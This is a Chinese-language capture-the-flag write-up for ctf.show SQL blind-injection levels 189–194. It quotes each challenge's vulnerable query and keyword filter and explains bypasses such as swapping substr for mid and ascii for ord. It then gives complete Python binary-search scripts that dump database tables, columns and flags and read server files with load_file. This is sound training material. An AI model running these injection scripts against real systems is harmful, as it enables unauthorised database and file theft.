SQL盲注的总结
1. 如果没有过滤掉if or select information where这些字段可以采取盲注,具体更具自己fuzz的来判断2. 如果过滤了substr可以用mid left substring right来代替3. locate可以判断字符在文件中的位置4. 过滤掉ascii可以用ord替代 或者直接进行字符的比较 字符比较因为不区分大小写可能会在一些数据上出现错误,并且要判断大小写
189
代码分析
题目提示:flag在api/index.php文件中
看一下题目源码
sql语句
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑 过滤了select and 空格 into where这些字符
//用户名检测if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}//密码检测if(!is_numeric($password)){$ret['msg']='密码只能为数字';die(json_encode($ret));}//密码判断if($row['pass']==$password){$ret['msg']='登陆成功';}
这道题利用的是回显的不同,前面的题目已经知道了sql的弱比较,username输入0的时候返回密码错误,输入1的时候返回查询失败,我们可以根据这个来进行盲注
locate和load_file
这道题题目提示了flag所在的文件是在api/index.php文件里
我们可以用load_file读取文件内容,然后利用盲注来一个一个的字符获取文件内容,直到读取到flag
但是这里有个简单的方法还可以locate函数来判断出ctfshow{这个flag的index
然后直接读取从ctfshow{开始读取flag
这个二分法脚本很值得学习
import requestsurl = "http://3c62eaac-7e52-44c0-8a45-ae24d2881a92.challenge.ctf.show/api/"payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"def find_flag_index():head = 1tail= 300while head < tail:mid = (head + tail) >> 1data = {"username": payload1.format(index=mid),"password": '0'}response = requests.post(url, data=data)if "密码错误" in response.json()['msg']:head = mid +1else:tail = midprint("[!]flag index",mid)return middef getFlag(num):i = int(num)flag = ""while True:head = 32tail = 127i = i + 1while not (abs(head-tail) == 1 or head == tail):mid = (head + tail) // 2data = {"username": payload2.format(i,mid),"password": '0'}response = requests.post(url,data=data)if "密码错误" in response.json()['msg']:head = midelse:tail = midif tail < head:tail = headflag += chr(tail)print("[!]flag:",flag)if flag[-1] == "}":breakif __name__== "__main__":Index = find_flag_index()getFlag(Index)
190
代码分析
sql语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测if(!is_numeric($password)){$ret['msg']='密码只能为数字';die(json_encode($ret));}//密码判断if($row['pass']==$password){$ret['msg']='登陆成功';}
这里的闭合多了一个’,是一个字符型注入,也就是前面的0失效了emmm
其实很简单
构造注入语句
1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>10,1,0)#
这里会返回密码错误 也就是说这里的if判断是正确的 也就变成了1’ or 1后面的1恒真
做题脚本
import requestsurl = "http://ef5733fe-8d5a-42b2-865f-767e346e4c58.challenge.ctf.show/api/"# select pass from ctfshow_user where username = '{$username}';#payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)#"#payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)#"#payload = "0' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)#"flag = ""def get_Flag():global flagfor i in range(1,100):print(i)head = 32tail = 127while not (abs(head-tail) == 1 or head == tail):mid = (head + tail) // 2data = {"username":payload.format(i,mid),"password":0}response = requests.post(url, data=data)if "密码错误" in response.json()['msg']:head = midelse:tail = midif tail < head:tail = headflag = flag + chr(tail)print("flag:",flag)if __name__=="__main__":get_Flag()
191-192
代码分析
sql语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测if(!is_numeric($password)){$ret['msg']='密码只能为数字';die(json_encode($ret));}//密码判断if($row['pass']==$password){$ret['msg']='登陆成功';}//TODO:感觉少了个啥,奇怪if(preg_match('/file|into|ascii/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
这里过滤了ascii 我们直接可以不用ascii来进行注入,但是这里有一个问题
字符比较的话,不区分大小写,所以数据可能稍微会有点错误,还有要自己改成小写
做题脚本
import requestsurl = "http://3436e762-c16e-4d42-b01e-710219e60a3e.challenge.ctf.show/api/"# select pass from ctfshow_user where username = '{$username}';#payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"#payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"payload = "0' or if(substr((select group_concat(F1AG) from ctfshow_fl0g),{},1)>'{}',1,0)#"flag = ""def get_Flag():global flagfor i in range(1,100):print(i)head = 32tail = 127while not (abs(head-tail) == 1 or head == tail):mid = (head + tail) // 2data = {"username":payload.format(i,chr(mid)),"password":0}response = requests.post(url, data=data)if "密码错误" in response.json()['msg']:head = midelse:tail = midif tail < head:tail = headflag = flag + chr(tail)print("flag:",flag)if __name__=="__main__":get_Flag()
192的告诫
后来看了192的过滤知道了其实可以把ascii改成ord,hex这些来进行盲注,就不会遇到大小写这些问题了
193-194
代码分析
查询语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测if(!is_numeric($password)){$ret['msg']='密码只能为数字';die(json_encode($ret));}//密码判断if($row['pass']==$password){$ret['msg']='登陆成功';}//TODO:感觉少了个啥,奇怪if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
在原有的基础上过滤substr,可以改用mid,left,substring,right代替
做题脚本
import requestsurl = "http://8a3fa581-56a8-4ad6-b8f4-2ab4f4701a47.challenge.ctf.show/api/"# select pass from ctfshow_user where username = '{$username}';#payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"#payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"payload = "0' or if(mid((select group_concat(F1AG) from ctfshow_flxg),{},1)>'{}',1,0)#"flag = ""def get_Flag():global flagfor i in range(1,100):print(i)head = 32tail = 127while not (abs(head-tail) == 1 or head == tail):mid = (head + tail) // 2data = {"username":payload.format(i,chr(mid)),"password":0}response = requests.post(url, data=data)if "密码错误" in response.json()['msg']:head = midelse:tail = midif tail < head:tail = headflag = flag + chr(tail)print("flag:",flag)if __name__=="__main__":get_Flag()
